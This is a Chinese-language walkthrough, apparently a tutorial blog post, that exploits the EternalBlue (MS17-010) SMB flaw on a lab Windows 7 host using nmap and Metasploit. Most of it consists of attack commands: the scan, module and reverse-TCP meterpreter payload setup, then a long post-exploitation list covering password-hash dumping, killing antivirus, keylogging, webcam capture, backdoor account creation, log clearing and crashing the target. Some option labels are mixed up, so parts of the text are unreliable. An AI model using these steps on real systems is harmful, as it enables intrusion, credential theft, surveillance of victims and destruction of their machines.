漏洞介绍
永恒之蓝(ms17-010)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
影响版本
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
漏洞原理
通过向Windows服务器的SMBv1服务发送精心构造的命令造成溢出,最终导致任意命令的执行。在Windows操作系统中,SMB服务默认是开启的,监听端口默认为445,因此该漏洞造成的影响极大。
信息收集
主机扫描
ip addr查看本机IP为192.168.2.128
同网段扫描主机系统类型
nmap -O -sS -T4 192.168.2.0/24
说明:
-O:这个选项告诉Nmap进行操作系统识别。它会尝试通过分析目标主机的网络行为和响应来猜测其运行的操作系统类型。
-sS:这个选项启用了TCP SYN扫描(也称为半开放扫描)。在进行端口扫描时,Nmap发送一个TCP SYN包到目标主机上的每个目标端口,如果收到了一个SYN/ACK响应,说明该端口是打开的。
-T4:这个选项设置了扫描的速度/时间模板。T4是Nmap的默认设置之一,表示较高的扫描速度和更少的等待时间。
发现192.168.2.132为win7系统并且开放135、139、445端口可能有永恒之蓝漏洞。
漏洞探测
#打开MSF
msfconsole
# 搜寻模块
search ms17-010
# 使用第一个模块,进行漏洞扫描
use 1
设置攻击目标。
使用set rhosts 192.168.2.132
run开始探测是否存在永恒之蓝漏洞
漏洞利用
search ms17-010
选择攻击模块
use 2
设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell。
set payload windows / x64 / meterpreter / reverse_tcp
这里默认选择reverse_tcp的攻击载荷直接设置rhost攻击IP和lhost监听IP,开始攻击。
show payloads可以查看设置的结果是否正确便于排错。
这里使用windows/x64/meterpreter/reverse_tcp
set payload windows / x64 / meterpreter / reverse_tcp
set rhosts 192.168.2.128 设置监听主机
set rhost 192.168.2.132 设置攻击主机
show options 查看配置
run
下图显示攻击成功,已经拿下目标电脑权限。
在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。
后渗透阶段
运行了run(exploit)命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
clearev #清除日志
示例:
查看主机系统信息
sysinfo
查看用户身份
getuid
shell
如果是乱码受不了则输入:
chcp 65001
最后一步,让它蓝屏
taskkill /f /fi "pid ne 1"
下面是其他的一些骚操作,同学们可以自行尝试。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post / windows / gather / enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
未完待续......